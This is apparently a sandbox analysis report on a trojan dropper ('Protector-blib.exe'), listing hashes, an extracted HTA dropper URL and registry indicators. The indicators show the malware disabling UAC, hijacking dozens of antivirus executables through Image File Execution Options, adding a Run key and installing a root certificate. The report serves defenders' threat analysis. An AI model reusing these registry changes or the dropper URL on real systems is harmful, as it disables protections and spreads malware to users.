ea57a2c8f5a67893e8017873944a66459454e85caa8111d658142c1e5b649d0f

Analysis

max time kernel
150s
max time network
144s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
04-02-2024 20:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

901cec222bef9173d884fcd170a7d100.exe
Size

2.2MB
MD5

901cec222bef9173d884fcd170a7d100
SHA1

0e0572af28ca58f8cc75464e6eb0a4f3c9441c8a
SHA256

ea57a2c8f5a67893e8017873944a66459454e85caa8111d658142c1e5b649d0f
SHA512

9f7ae63665e7634e5ee8904442f2e1cc5c7e227466e88c24c334a2e2f4171bb56c637324725e2f9766d28bfce52b10beb05640d7f57c233293b8ecb4101966a6
SSDEEP

49152:AtKOxEdZnHsIpu7ro2pYwemN0Cz4aFXwZOwmtU3jaBYhfm8alB+tXP:AFErMIwbye5pFgxmtUmmeZWP

Score

10^/10

evasion persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://galaint.coolsecupdate.info/?0=115&1=1&2=1&3=42&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=hljibwhwht&14=1

Signatures

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

Protector-blib.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-blib.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-blib.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-blib.exe

Disables taskbar notifications via registry modification
evasion

Sets file execution options in registry 2 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

Protector-blib.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\trickler.exe	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cv.exe	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scam32.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tca.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\navlu32.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tvtmd.exe\Debugger = "svchost.exe"	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VisthLic.exe	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsctool.exe\Debugger = "svchost.exe"	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AlphaAV.exe	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autoupdate.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avcenter.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zapsetup3001.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ndd32.exe\Debugger = "svchost.exe"	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netd32.exe	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winssk32.exe\Debugger = "svchost.exe"	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mrflux.exe	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\n32scanw.exe\Debugger = "svchost.exe"	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wyvernworksfirewall.exe	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscfxav.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\alevir.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\belt.exe\Debugger = "svchost.exe"	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install[4].exe	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscfxfw.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bipcp.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscman.exe\Debugger = "svchost.exe"	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\npscheck.exe	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ibmasn.exe	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tds2-98.exe\Debugger = "svchost.exe"	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wnad.exe	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MalwareRemoval.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcmscsvc.exe\Debugger = "svchost.exe"	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cfgwiz.exe	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsm32.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ad-Aware.exe\Debugger = "svchost.exe"	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\crashrep.exe	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dssagent.exe	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmon016.exe	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icload95.exe	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ldpromenu.exe\Debugger = "svchost.exe"	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SecurityFighter.exe	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xp_antispyware.exe\Debugger = "svchost.exe"	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\agentw.exe	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\beagle.exe	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bpc.exe	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\idle.exe	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\moolive.exe	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vet32.exe	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\init32.exe	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\JsRcGen.exe	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\alogserv.exe\Debugger = "svchost.exe"	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bootwarn.exe	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\f-agnt95.exe	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashLogV.exe	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pcscan.exe	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wupdater.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fact.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jdbgmrg.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrustWarrior.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winstart.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\moolive.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outpost.exe\Debugger = "svchost.exe"	Protector-blib.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pcfwallicon.exe\Debugger = "svchost.exe"	Protector-blib.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pptbc.exe	Protector-blib.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489
Executes dropped EXE 3 IoCs

Processes:

29u6xa70287391r.exe514l8p5uaaz4102.exeProtector-blib.exe

pid process

2656 29u6xa70287391r.exe
3024 514l8p5uaaz4102.exe
2644 Protector-blib.exe

pid	process
2656	29u6xa70287391r.exe
3024	514l8p5uaaz4102.exe
2644	Protector-blib.exe

Loads dropped DLL 7 IoCs

Processes:

901cec222bef9173d884fcd170a7d100.exe29u6xa70287391r.exe514l8p5uaaz4102.exeProtector-blib.exe

pid	process
2368	901cec222bef9173d884fcd170a7d100.exe
2656	29u6xa70287391r.exe
2656	29u6xa70287391r.exe
3024	514l8p5uaaz4102.exe
3024	514l8p5uaaz4102.exe
2644	Protector-blib.exe
2644	Protector-blib.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

Protector-blib.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\Inspector = "C:\\Users\\Admin\\AppData\\Roaming\\Protector-blib.exe"	Protector-blib.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

Protector-blib.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Protector-blib.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-blib.exe

Drops file in System32 directory 3 IoCs

Processes:

Protector-blib.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	Protector-blib.exe
File opened for modification	C:\Windows\SysWOW64\services.msc	Protector-blib.exe
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	Protector-blib.exe

Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1696 sc.exe
1684 sc.exe
2948 sc.exe
2156 sc.exe
2268 sc.exe
808 sc.exe
960 sc.exe
2064 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1696	sc.exe
1684	sc.exe
2948	sc.exe
2156	sc.exe
2268	sc.exe
808	sc.exe
960	sc.exe
2064	sc.exe

Modifies Internet Explorer settings 1 TTPs 39 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeProtector-blib.exeIEXPLORE.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000033b2baa7c38bc34eb000abaaaac06d7800000000020000000000106600000001000020000000706229ee40a845393d9227e287bd839324f09a243c02cfe243e6ce47005da0a9000000000e8000000002000020000000a5d2a97ab5747c17ace0cad258a062e3aab3350055dd4515cecb5330dc287778200000006fa77205a74831f01a74bcd89e17c7fa3b351c0999ebc0e2c19b83178b378510400000004ea4701e522f6b6748e0f635a6126a7c75928fd93a73f9c189022b03a9fbf65b6870a98c0b28fe7cbda78f536a5c26444f4fba6f0e2c1a2a53deff6eea4630ef	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312	Protector-blib.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main	Protector-blib.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{4B9F6B21-C39E-11EE-932B-4E2C21FEB07B} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000033b2baa7c38bc34eb000abaaaac06d780000000002000000000010660000000100002000000081043cc37c325b71a120f0114db54ce9ed33918b031c0351aa0498ced77a511c000000000e8000000002000020000000f579aa9d0150d03e09c39f465d3590133327de2885f9a46c6ada6e72ed6746bc900000000af8411ef44e63114a7a7b45aa5092217b03be0258779d759e9a53bd4bc94da73a772d8cee4a0bcf437e360bcb94a4eab91d6f565c0f2caec1d0e1a3b457fdf60befd382929e6d072ccbd676de0378ce2b461e69c67b4919423ef9525962d36a73a1b263c5e468ba8e21d6fd973a3fef5def48d3b333a1713a771efe84877384af24b20fe656187fef8494c5f7d6b1cc40000000676d5b8cce406155e1d44a332a16c37eea95e686b4d7d29a414dec8339129ca895f6b705ec67eedbec2ad1add437f3d845a3e62cd17b4504c9b217de6b168eeb	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\FaviconPath = "C:\\Users\\Admin\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312\iexplore.exe = "1"	Protector-blib.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 6088f51fab57da01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "413241381"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

Protector-blib.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Protector-blib.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54362000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Protector-blib.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 1900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd90b000000010000001200000044006900670069004300650072007400000014000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd155090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Protector-blib.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Protector-blib.exe

pid	process
2644	Protector-blib.exe
2644	Protector-blib.exe
2644	Protector-blib.exe
2644	Protector-blib.exe
2644	Protector-blib.exe
2644	Protector-blib.exe
2644	Protector-blib.exe
2644	Protector-blib.exe
2644	Protector-blib.exe
2644	Protector-blib.exe
